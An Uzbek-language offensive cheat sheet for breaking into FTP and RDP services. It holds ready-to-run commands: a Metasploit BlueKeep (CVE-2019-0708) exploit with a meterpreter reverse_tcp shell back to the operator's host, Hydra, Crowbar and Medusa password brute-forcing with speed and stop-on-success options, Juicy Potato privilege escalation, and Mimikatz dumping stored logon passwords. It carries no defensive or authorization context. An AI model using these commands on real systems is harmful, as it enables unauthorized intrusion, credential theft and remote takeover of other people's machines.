|  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | FTP | |  | | --- | |  |      |  | | --- | | FTP (File Transfer Protocol) | | FTP tizimlariga kirish uchun login va parolni brute-force qilish | Hydra -l admin -P /path/to/password\_list.txt ftp://192.168.1.100  FASTRDP dastur |  |
| RDP | RDP (Remote Desktop Protocol) | Microsoft RDP xizmatlariga login credentiallarini sinash | Hydra -l admin -P /path/to/password\_list.txt rdp://192.168.1.100  FASTRDP dastur |
| 2 | FTP | |  | | --- | |  |      |  | | --- | | FTP (File Transfer Protocol) | | FTP tizimlariga kirish uchun login va parolni brute-force qilish | medusa |  |
| RDP | RDP (Remote Desktop Protocol) | Microsoft RDP xizmatlariga login credentiallarini sinash | medusa |
| 3 | FTP | |  | | --- | |  |      |  | | --- | | FTP (File Transfer Protocol) | | FTP tizimlariga kirish uchun login va parolni brute-force qilish | Nmap + NSE skriptlari |  |
| RDP | RDP (Remote Desktop Protocol) | Microsoft RDP xizmatlariga login credentiallarini sinash | Nmap + NSE skriptlari |
| 4 | FTP | |  | | --- | |  |      |  | | --- | | FTP (File Transfer Protocol) | | FTP tizimlariga kirish uchun login va parolni brute-force qilish | Metasploit |  |
| RDP | RDP (Remote Desktop Protocol) | Microsoft RDP xizmatlariga login credentiallarini sinash | Metasploit |

**EXPLOIT YORDAMIDA ISHLATISH UCHUN**

**Metasploit yordamida BlueKeep zaifligini tekshiris**h:

msfconsole

use auxiliary/scanner/rdp/cve\_2019\_0708\_bluekeep

set RHOSTS <target\_ip>

run

**Agar tizim zaif bo‘lsa, ekspluatatsiya qilish uchun quyidagilarni ishlatish mumkin:**

use exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce

set RHOSTS <target\_ip>

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST <your\_ip>

set LPORT 4444

exploit

**HYDRA yordamida brute force qilish**

hydra -L users.txt -P passwords.txt rdp://<target\_ip>

**Crowbar bilan RDP bruteforce qilish**

crowbar -b rdp -s <target\_ip> -u admin -C passwords.txt

**Linux terminal orqali RDP ulanish**

xfreerdp /v:<target\_ip> /u:<username> /p:<password>

**Windows Exploit Suggester – huquq oshirish uchun eksploitlarni aniqlash**

python windows-exploit-suggester.py --database exploits.db

**Juicy Potato – Windows privilege escalation uchun ishlatiladi**

juicypotato.exe -t \* -p cmd.exe -l 1337

**Mimikatz – Windows tizimida saqlangan parollarni olish**

mimikatz.exe

sekurlsa::logonpasswords

**Medusa bilan RDP bruteforce qilish**

medusa -h <target\_ip> -u <username> -P passwords.txt -M rdp

medusa -h <target\_ip> -U users.txt -P passwords.txt -M rdp

**Tezlikni oshirish va bir nechta parallel sessiyalar yaratish**

medusa -h <target\_ip> -U users.txt -P passwords.txt -M rdp -t 10

**Muvaffaqiyatli login topilganda to‘xtatish**

medusa -h <target\_ip> -U users.txt -P passwords.txt -M rdp -t 10 -f

Agar RDP serverda maxsus port ishlatilayotgan bo‘lsa

medusa -h <target\_ip> -U users.txt -P passwords.txt -M rdp -t 5 -n <custom\_port>

medusa -h 192.168.1.10 -u administrator -P common-passwords.txt -M rdp

medusa -h 192.168.1.10 -u administrator -P passlist.txt -M rdp -t 10 -n 3390